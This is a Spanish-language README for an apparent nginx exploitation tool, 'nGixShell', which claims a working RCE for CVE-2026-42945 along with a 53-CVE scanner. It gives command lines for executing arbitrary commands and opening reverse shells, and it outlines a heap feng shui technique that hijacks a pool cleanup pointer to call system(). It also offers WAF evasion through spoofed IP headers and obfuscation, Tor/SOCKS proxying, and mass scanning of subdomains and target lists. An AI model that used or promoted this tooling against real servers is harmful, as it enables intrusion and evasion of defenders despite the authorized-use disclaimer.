
escáner de CVE nginx + framework de exploits RCE (CVE-2026-42945 + 16 otros)
nGixShell es un escáner de CVE de nginx y un framework de explotación RCE. Incluye una prueba de concepto funcional para CVE-2026-42945 — un desbordamiento crítico de heap buffer en ngx_http_rewrite_module — y un escáner que cubre 53 CVEs de nginx con sondas HTTP automatizadas, huella digital, detección/evasión de WAF, auditoría de seguridad web y generación de informes.
Cero dependencias externas. Solo stdlib de Python 3.
# Spin up the vulnerable lab
docker compose -f env/docker-compose.yml up -d
# Auto mode — fingerprint + CVE scan + web audit
python3 ngixshell.py 127.0.0.1:19321
# Execute a command via RCE (CVE-2026-42945)
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id'
# Drop a reverse shell (IP auto-detected)
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell
# Detect and bypass WAF, then scan
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass
# Subdomain scan
python3 ngixshell.py --subdomain-scan example.com --scan-port 443
# Multiple targets from a file
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html
Sin necesidad de indicar opciones — apuntar la herramienta a un objetivo ejecuta todo automáticamente.
TLS se detecta automáticamente. nginx se identifica incluso con server_tokens off.
python3 ngixshell.py [TARGET] [OPTIONS]
Formato de TARGET:
127.0.0.1
192.168.1.10:8080
http://192.168.1.10:8080
https://target.local
| Flag | Descripción |
|---|---|
--waf-detect | Detecta WAF antes de escanear |
--waf-bypass | Activa todas las técnicas de evasión (también ejecuta detección) |
--waf-ip IP | Suplanta esta IP en cabeceras de evasión (por defecto: RFC1918 aleatoria) |
Técnicas de evasión (todas activas cuando se establece --waf-bypass):
WAF detectados: Cloudflare, AWS WAF, Akamai, Imperva/Incapsula, ModSecurity, F5 BIG-IP ASM, Sucuri, Barracuda, NAXSI, Fastly, Wordfence
Se ejecuta automáticamente en modo escaneo. Todos los módulos pueden omitirse individualmente.
/nginx_status si está expuesto| Flag | Descripción |
|---|---|
--port PORT | Sobrescribe el puerto |
--tls |
| Flag | Descripción |
|---|---|
--user-agent UA | User-Agent personalizado |
--auth USER:PASS | Autenticación básica HTTP |
| Flag | Descripción |
|---|---|
--rate-limit RPS | Máximo de peticiones por segundo |
--jitter MS |
| Flag | Descripción |
|---|---|
53 entradas que abarcan de 2009 a 2026. Ordenadas por CVSS.
El motor de scripts de reescritura de nginx utiliza un modelo de dos pasos: calcular el tamaño del búfer, luego copiar. El flag is_args se establece en el motor principal cuando una sustitución de rewrite contiene ?, pero el paso de cálculo de longitud se ejecuta sobre un sub-motor recién puesto a cero:
is_args = 0 → devuelve la longitud bruta de la capturais_args = 1 → llama a ngx_escape_uri(NGX_ESCAPE_ARGS), expandiendo cada byte no seguro a 3 bytesLa copia desborda el búfer heap de tamaño insuficiente con datos URI controlados por el atacante. La explotación corrompe un puntero de limpieza ngx_pool_t adyacente mediante feng shui de heap entre peticiones, redirigiéndolo a un ngx_pool_cleanup_s falso que llama a system() al destruir el pool.
| Producto | Vulnerable | Corregida |
|---|---|---|
| NGINX Open Source | 0.6.27 – 1.30.0 | 1.31.0, 1.30.1 |
| NGINX Plus | R32 – R36 | R36 P4, R35 P2, R32 P6 |
Aviso del fabricante: https://my.f5.com/manage/s/article/K000160932
Probado en Ubuntu 24.04 LTS. Requiere Docker y Python 3.8+.
# Iniciar el laboratorio vulnerable (nginx 1.25.3)
docker compose -f env/docker-compose.yml up -d
# Escaneo completo
python3 ngixshell.py 127.0.0.1:19321
# RCE con salida JSON
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id' --json
# Reverse shell — payload bash, actualización automática de PTY
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell
# Escaneo con evasión de WAF e IP suplantada
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass --waf-ip 10.10.10.1
# A través de proxy SOCKS5
python3 ngixshell.py 192.168.1.10 --proxy socks5://127.0.0.1:9050
# Escaneo de subdominios con limitación de tasa
python3 ngixshell.py --subdomain-scan example.com --scan-port 443 --rate-limit 10
# Múltiples objetivos, salida JSON, informe HTML
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html
Solo para pruebas de seguridad autorizadas, competiciones CTF e investigación.
| Flag | Descripción |
|---|
| (ninguno) | Auto — huella digital + escaneo de CVE + auditoría web |
--cmd 'CMD' | Ejecuta un comando mediante CVE-2026-42945 RCE |
--cmd-file FILE | Ejecuta comandos desde un archivo (unidos con ;) |
--shell | Abre una reverse shell |
--shell-type TYPE | Payload: bash python perl php nc powershell (por defecto: python) |
--upgrade-shell | Envía automáticamente la actualización de PTY tras conectar la shell |
--subdomain-scan DOMAIN | Busca nginx vulnerable en subdominios |
--cve CVE-ID | Prueba un CVE específico |
--list-cves | Muestra los 53 CVEs con CVSS e información de sonda |
--list-candidates | Muestra candidatos de direcciones de heap |
--dry-run | Solo huella digital + escaneo, sin explotación |
--target-file FILE | Escanea múltiples hosts desde un archivo |
| Técnica | Detalle |
|---|
| Suplantación de IP | X-Forwarded-For, X-Real-IP, X-Originating-IP, True-Client-IP, X-Remote-IP, X-Client-IP |
| Rotación de UA | 11 User-Agents reales de navegadores/bots, aleatorizados por petición |
| Ofuscación de ruta | doble barra, relleno /./, codificación porcentual, variación de mayúsculas |
| Barajado de mayúsculas en cabeceras | Aleatoriza el uso de mayúsculas en nombres de cabecera para romper la coincidencia de patrones del WAF |
| Flag | Descripción |
|---|
--skip-headers | Omite la auditoría de cabeceras de seguridad HTTP |
--skip-paths | Omite el descubrimiento de rutas/archivos |
--skip-vhosts | Omite la enumeración de hosts virtuales |
--skip-tls | Omite la auditoría del protocolo TLS |
--path-wordlist FILE | Rutas adicionales a probar (una por línea) |
| Fuerza TLS (por defecto se detecta automáticamente) |
--proxy URL | Proxy: http://, https://, socks5:// |
--cookie VALUE |
| Cabecera Cookie |
--header NAME:VALUE | Cabecera adicional (repetible) |
| Retardo aleatorio de 0–MS ms entre peticiones |
--retry N | Reintentar sondas no concluyentes (por defecto: 1) |
--timeout-multiplier X | Escalar todos los tiempos de espera (por defecto: 1.0) |
--output FILE| Escribe el registro en FILE |
--json | Imprime resumen JSON al final |
--html-report [FILE] | Genera informe HTML (por defecto: ngixshell_<host>_<ts>.html) |
--verbose | Salida de depuración |
| CVE | CVSS | Componente | Descripción |
|---|
| CVE-2026-42945 | 9.8 CRITICAL | rewrite | Desbordamiento de heap → RCE (explotado) |
| CVE-2026-42946 | 8.1 HIGH | rewrite | Corrupción de memoria (mismo aviso) |
| CVE-2022-41741 | 7.8 HIGH | mp4 | Corrupción de memoria mediante mp4 malicioso |
| CVE-2016-1247 | 7.8 HIGH | packaging | Escalada de privilegios por enlace simbólico en archivo de log |
| CVE-2021-23017 | 7.7 HIGH | resolver | Sobrescritura de heap off-by-one |
| CVE-2026-40701 | 7.5 HIGH | request | Corrupción de memoria en el procesamiento de peticiones |
| CVE-2026-42934 | 7.5 HIGH | request | Corrupción de memoria (mismo aviso) |
| CVE-2026-27784 | 7.5 HIGH | mp4 | Desbordamiento de búfer mediante mp4 manipulado |
| CVE-2026-32647 | 7.5 HIGH | mp4 | Desbordamiento de búfer (hermano del anterior) |
| CVE-2024-24990 | 7.5 HIGH | HTTP/3 | Use-after-free en el módulo QUIC |
| CVE-2024-24989 | 7.5 HIGH | HTTP/3 | Desreferencia de puntero NULL en QUIC |
| CVE-2024-31079 | 7.5 HIGH | HTTP/3 | Desbordamiento de pila en el codificador QUIC |
| CVE-2024-32760 | 7.5 HIGH | HTTP/3 | Sobrescritura de búfer mediante trama HEADERS |
| CVE-2022-41742 | 7.5 HIGH | mp4 | Revelación de memoria heap |
| CVE-2017-7529 | 7.5 HIGH | range filter | Desbordamiento de enteros → lectura fuera de límites |
| CVE-2016-0746 | 7.5 HIGH | resolver | Use-after-free mediante respuesta DNS manipulada |
| CVE-2014-0133 | 7.5 HIGH | SPDY | Desbordamiento de heap en la implementación SPDY |
| CVE-2014-0088 | 7.5 HIGH | SPDY | Corrupción de memoria en SPDY |
| CVE-2013-4547 | 7.5 HIGH | core | Bypass de URI con espacio+NUL |
| CVE-2013-2028 | 7.5 HIGH | core | Desbordamiento de pila en codificación chunked |
| CVE-2012-1180 | 7.5 HIGH | proxy | Use-after-free en el módulo proxy |
| CVE-2009-3555 | 7.5 HIGH | SSL | Inyección de renegociación TLS (MITM) |
| CVE-2009-2629 | 7.5 HIGH | core | Subdesbordamiento de búfer en el análisis de URI |
| CVE-2026-42926 | 6.5 MEDIUM | HTTP/2 | División de peticiones mediante proxy |
| CVE-2026-27654 | 6.5 MEDIUM | WebDAV | Desbordamiento de heap en el módulo DAV |
| CVE-2026-28753 | 6.5 MEDIUM | Inyección de cabeceras en el proxy de correo | |
| CVE-2026-1642 | 6.5 MEDIUM | proxy | Fuga de reutilización de sesión SSL upstream |
| CVE-2019-9511 | 6.5 MEDIUM | HTTP/2 | Data Dribble DoS de CPU/memoria |
| CVE-2012-2089 | 6.8 MEDIUM | mp4 | Desbordamiento de búfer mediante petición mp4 |
| CVE-2018-16845 | 5.5 MEDIUM | mp4 | Subdesbordamiento de enteros → caída + revelación |
| CVE-2019-20372 | 5.3 MEDIUM | proxy | Contrabando de peticiones HTTP |
| CVE-2026-40460 | 5.3 MEDIUM | HTTP/3 | Suplantación de conexión QUIC |
| CVE-2026-28755 | 5.3 MEDIUM | SSL | Revelación de memoria en procesamiento OCSP |
| CVE-2025-23419 | 5.3 MEDIUM | SSL | Bypass de certificado en reanudación de sesión TLS |
| CVE-2024-35200 | 5.3 MEDIUM | HTTP/3 | Desreferencia de puntero NULL |
| CVE-2024-34161 | 5.3 MEDIUM | HTTP/3 | Revelación de memoria |
| CVE-2016-4450 | 5.3 MEDIUM | core | Puntero NULL mediante cuerpo de petición chunked |
| CVE-2016-0742 | 5.0 MEDIUM | resolver | Puntero inválido mediante paquete UDP manipulado |
| CVE-2016-0747 | 5.0 MEDIUM | resolver | Límite insuficiente de resolución CNAME |
| CVE-2014-3556 | 5.0 MEDIUM | Inyección de comandos STARTTLS | |
| CVE-2013-2070 | 5.3 MEDIUM | proxy | Revelación de respuesta del backend |
| CVE-2011-4963 | 5.0 MEDIUM | access | Bypass de control de acceso por literal IPv6 |
| CVE-2011-4315 | 5.0 MEDIUM | resolver | Desbordamiento de heap mediante respuesta DNS manipulada |
| CVE-2009-3896 | 5.0 MEDIUM | core | DoS por desreferencia de puntero NULL |
| CVE-2025-53859 | 4.3 MEDIUM | Inyección de comandos SMTP | |
| CVE-2014-3616 | 4.3 MEDIUM | SSL | Confusión de host virtual por SNI TLS |
| CVE-2026-27651 | 4.3 MEDIUM | Desreferencia de puntero NULL en proxy de correo | |
| CVE-2019-9513 | 4.3 MEDIUM | HTTP/2 | Resource Loop DoS de CPU |
| CVE-2019-9516 | 4.3 MEDIUM | HTTP/2 | Agotamiento de memoria por cabeceras de 0 longitud |
| CVE-2018-16843 | 4.3 MEDIUM | HTTP/2 | Consumo excesivo de memoria |
| CVE-2018-16844 | 4.3 MEDIUM | HTTP/2 | CPU excesiva mediante tramas SETTINGS |
| CVE-2024-7347 | 4.7 MEDIUM | mp4 | Lectura fuera de límites |
| CVE-2009-3898 | 4.9 MEDIUM | WebDAV | Salto de directorio mediante COPY/MOVE |